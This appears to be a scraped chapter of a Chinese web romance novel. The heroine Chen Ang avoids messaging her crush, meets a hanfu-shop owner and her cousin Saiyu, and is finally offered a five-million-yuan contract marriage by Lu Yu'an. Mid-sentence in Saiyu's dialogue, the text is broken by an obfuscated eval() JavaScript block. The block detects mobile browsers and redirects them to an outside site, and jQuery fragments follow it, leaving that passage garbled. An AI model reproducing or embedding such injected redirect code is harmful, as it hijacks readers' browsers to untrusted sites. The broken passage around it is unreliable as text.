4. 第四章

作品:《天生女主命

    第四章


    回到家洗漱完,陈盎终于得空躺在床上看一眼手机。


    打开微信,发现最顶上的对话框是一个期待已久的头像。


    ——叶崟通过了好友申请。


    陈盎咻得一下子坐起来,抱着手机,心脏开始砰砰跳。


    ——学长你好,我是你高中时的学妹,不知道你还记得我吗?


    陈盎眉头一皱,不行,叶崟肯定不知道她这个小透明,而且这话听起来也太像套近乎的了。虽然就是。


    ——叶总您好,吃饭了吗?


    陈盎赶紧删掉,太土了,真是太土了!


    ——叶崟学长,最近忙不忙,请问您明天有空出来玩吗?


    陈盎一脑袋扎进枕头里,她算哪根葱啊胆敢约别人出来玩。


    写写删删,陈盎最终还是放弃了搭讪的念头。


    高中时期的白月光,就让他在那儿光着吧,离得近了,完美无瑕的月亮也会露出表面的坑坑洼洼。


    陈盎这样安慰好自己,将手机塞到枕头底下,闭眼睡觉。


    第二天一早,天晴。


    陈盎吃着早饭。


    陈母走过来说道:“小盎,你今天休息,等会儿正好和我一起去把店里二楼收拾收拾,你赛赛姐准备租去当工作室。”


    陈盎问道:“哪个赛赛姐?”


    “就是你大姨家的,小时候见过几次,这么快忘了?”陈母戳了戳她脑袋,“人家才比你大四岁,孩子都五岁了。”


    陈盎记起来了,陈母口中的大姨,其实是表姨,两家走得并不近,所以她才没什么印象。


    对于这个赛赛姐的唯一深刻印象,就是亲戚们口中的反面教材。


    陈盎咬着嵌糕,含糊问道:“她不是嫁到外地去了,怎么回临城开工作室,什么工作室?”


    说起这个,陈母唉声叹气:“赛玉这孩子,真是太不听话了。小时候不好好学习,中考才考那么点分,我和你大姨都劝她报个护士学校,将来去医院上班,也算是有一份稳定工作,可她偏不听啊,非得去念什么戏剧学校,毕业后跟着剧团到处演出,被个外地的野男人勾走了吧。这也就算了,现在男的不要她了。”


    陈盎皱了皱眉:“你别这样说。什么叫做男的不要她了,他们这叫离婚。”


    陈母道:“你大姨可不同意她嫁外地,当初户口本没给,我听说啊,他们就在外地办了酒,没领证呢。”


    吃完早饭,陈盎跟着陈母一起前往店铺。


    这个临街而建的店铺也是她太爷爷留下来的,离小院很近。自从老街的旅游业搞得越来越好,店铺租金也水涨船高。


    总共两层,一层租给一家卖当地特产的食品店,二层商业价值不大,一直空着。


    不过陈母平时经常来打扫,灰尘不多,拖一拖地就干净了。


    陈盎刚搬完最后一箱杂物,陈母接了个电话,说赛玉到老街口了,要去接人。


    陈盎便独自一人抱着杂物,下楼去扔垃圾箱里。走回来的时候,发现斜对面新开了一家两间门面的古装店。


    商业化的老街就是这样,除了几家屹立不倒的网红店,其余商铺更新很快,这个月还是个小吃店,下个月就是纪念品店了。


    比如这个古装店,之前是卖炸鸡和臭头腐的。


    陈盎看见门口摆放的花篮,心道原来今天开业,店里装修得古香古色,摆满了各种款式的汉服,还有一排化妆镜。


    这几年全国各地的老街旅游区都流行搞这些沉浸式体验。


    陈盎没多大兴致,看了几眼正要离开,这时,从古装店里走出一个人。


    陈盎下意识往墙角躲了躲。


    陆屿安左手拿着手机,在打电话,长腿刚一迈出店门,一个栗色长卷发、穿着时尚洋装的年轻姑娘就紧跟了出来,也不顾对方在讲电话,拉着他的胳膊左右摇晃,涂着鲜亮唇膏的唇畔一张一合,不停说着什么。


    具体内容没听清楚,但陈盎听懂了——她在和陆屿安撒娇。


    像是得逞了什么,洋气漂亮的姑娘在陆屿安大步走后,郑重地后退一步,朝着他的背影深深鞠躬,笑意盈盈:“多谢陆总捧场,陆总慢走,陆总欢迎下次再来~”


    她看见了陈盎,热情地挥手打招呼:“哎小姑娘,进来看看不,我们店今天开张搞活动。”


    陈盎摇头:“不了,还有事。”


    “进来看看吧,耽误不了多久的,我们店里的衣服都超棒!”她迅速走过来,手臂环上陈盎的肩膀,顺着陈盎的视线,看到了陆屿安大步离开的背影,“怎么,你认识陆总?”


    陈盎嗯一声,随即又摇头:“不熟。”


    年轻姑娘哈哈大笑:“不熟很正常,我和他也不熟。别看我们刚才亲亲热热的,其实我都是为了图他钱,而他,图我色。”


    陈盎:“?”


    年轻姑娘抓住了她眼里一闪而过八卦的光,趁机作了一番自我介绍,然后非常热情地拉着陈盎进了古装店,给她各种介绍店里的活动,十分卖力宣传。


    最终陈盎加了微信,帮她在朋友圈宣传了一波。


    宋蕴之拿她手机编辑好朋友圈发布,开心地环住她:“小盎啊,咱以后就是朋友了,我免费送你一组古装拍摄,等你有空了来店里挑衣服。”


    陈盎离开前,想了想,还是忍不住问:“所以,你和那个陆先生是情侣?”


    宋蕴之摆摆手:“情侣算不上,他是我要努力伺候的金主爸爸,纯粹的金主和金丝雀关系哈。”


    陈盎了解了,然后转头和齐馨八卦。


    齐馨听完后道:“所以,他都有钱养金丝雀,都不给你五百万是吗?”


    陈盎:“……是我自己不想要。”


    “为啥?”


    “我觉得自己没那么爱钱,所以拒绝了。”


    齐馨“啪”的一声挂断了电话。


    听着“嘟嘟嘟”的声音,陈盎无奈耸了耸肩。


    “没那么爱钱”——这句话是真心实意的。她在银行上了两天班,每天见的最多的就是钱。


    真的,她现在看到钱就烦。


    *


    晚上,陈母留赛玉在家吃饭。


    时隔多年,陈盎再一次见到亲戚口中不务正业的表姐。


    赛玉和小时候记忆里的完全不一样,和想象中离婚后凄凄惨惨、面色蜡黄的女人也完全不一样。


    赛玉一头乌黑长发及腰,身材纤瘦玲珑,脸上妆容精致,整个人神采奕奕。


    陈母边给她夹菜边问道:“赛赛,爆米花怎么没和你一起过来?”


    赛玉道:“哎呀阿姨,和你说了多少遍,小米花,我闺女叫小米花,不叫爆米花。她让我妈带着呢。”


    陈母道:“你们年轻人,整天给孩子起稀奇古怪的小名,我哪儿记得住啊。”


    陈盎和她交谈:“赛赛姐,听说你抖音粉丝好几十万呢,这次回临城开工作室,也是和直播相关吧?”


    赛玉说起自己的事业一脸自信:“对,我之前跟着剧团演出时就在做自己的账号了,拍拍演出的日常、搞搞直播,收入比打工好多了。我都想好了,这次开工作室,可以一边开越剧兴趣班招收学员,一边拍日常和搞直播,这样能有两份收入。”


    陈母道:“赛赛啊,这样不行,你得找份稳定工作,然后找个本地人嫁了,让爆米花有一个完整的家。你妈为了你的事,天天睡不着觉。”


    赛玉不屑道:“阿姨,你这话我不爱听,我现在一个人挺好的,房子、钱、自由都有,干嘛非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925098|160458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要再嫁人。还有,我闺女叫小米花。”


    “……”


    饭后,陈盎怕陈母再一次唠叨别人,于是主动提出送赛玉到停车场。


    为了保护老街,车子、电瓶车、自行车一律不许行驶,停车场设在城墙外,需要走一段距离。


    陈盎抱歉道:“赛赛姐,不好意思啊,我爸妈他们年纪大了,思想跟不上时代,我也经常被唠叨。”


    赛玉不在乎地摆了摆手:“他俩都算正常的了,对我毫无影响。你是不知道我前夫那个妈啊,有多恶毒。不过也多亏了她,我现在抗压能力特别强。”


    陈盎有所耳闻,问:“所以是因为婆媳关系才离婚?”


    “倒也不全是。主要还是我前夫那个人不靠谱,拎不清、没主见、妈宝男。”赛玉摇了摇头,“你一定很好奇我当初为什么嫁给他吧?亲戚里是不是都在传奉子成婚?”


    陈盎回忆了下:“好像有这么说过。”


    赛玉幽幽叹了口气,道:“去他妈的奉子成婚,我当时就是鬼迷心窍,和他感情破裂后,我也郁闷了好久,这个地包天、不洗澡、长得像头猪的男人到底有什么地方吸引我?还好我闺女长得不像他。小盎啊,听姐姐一句劝,可别随便结婚,要结也要找个自己满意喜欢的结。我当初结婚或许是为了争一口气,证明给别人看,你们看,我没你们说的那么糟糕,就算我样样不好,还是不是有有房有车的男人追我、爱我的。”


    送走了赛玉,陈盎一个人慢吞吞往回走。


    七点钟,时间还早,城墙下很热闹。微黄的灯光熏得青色砖瓦暖融融。


    有意犹未尽的他乡游客,有饭后出来散步的本地人,大家齐聚一起,欢呼着、围绕着表演节目的歌手和舞者。


    再往里走,人没那么多了。


    陈盎脑袋撞上一个人的胸膛时,才回过神来。


    “不好意思不好意思……”陈盎急忙道歉,视线映入陆屿安的脸,声音戛然而止。


    陆屿安表情淡淡的,没有生气,没有惊讶,像是早就料到一样。“看你魂不守舍的,连走路也不看人?”


    “我……”陈盎想解释,话到嘴边却道,“关你什么事。”一边揉着额头,心道,这么晚了怎么还没走,是来找他的金丝雀吗。


    “什么金丝雀?”


    陈盎原本只想在心里吐槽吐槽,没想到说出来了,陆屿安离得近,听得很清楚,直视她的眼神充满严肃之意。


    陈盎扯了扯嘴角,道:“陆先生,我对你的私生活没有兴趣。也不是我打听的……反正,我就知道了又怎么样。”


    陆屿安眯起眼睛,像是明白了什么,很快掏出手机,打了个电话:“大宋酒馆这里,三分钟内滚过来,否则撤资。”


    一分钟后,陈盎看见宋蕴之拎着高跟鞋火急火燎地“滚”过来了。


    两人对视一眼,面面相觑。


    还是宋蕴之先反应过来,迅速套上高跟鞋,笑得和朵花儿似地凑到陆屿安面前,声音甜腻:“哥哥,我的好哥哥,我亲爱的哥哥,有什么事不能好好说呢,非要拿撤资来威胁人家……”


    陆屿安手掌毫不留情地按在她漂亮的脸上,将她脸拨过去另一个方向:“不要用这种恶心的语气和我说话。”


    宋蕴之搞了半天才明白,道:“不是吧,陆屿安,你这人怎么这么小心眼,我不过是为了招揽顾客,编了一个小小的、充满狗血的、大家都爱听的故事而已,你就要撤资?你还是我有血缘关系的哥哥吗,我要告诉姨妈!”


    宋蕴之怒气冲冲地打电话去告状了。


    酒馆前,陈盎有点不好意思,自己好像是什么背后说人坏话的小人一样,于是想赶紧溜,却被陆屿安叫住。


    “陈盎,五百万,协议结婚两年。”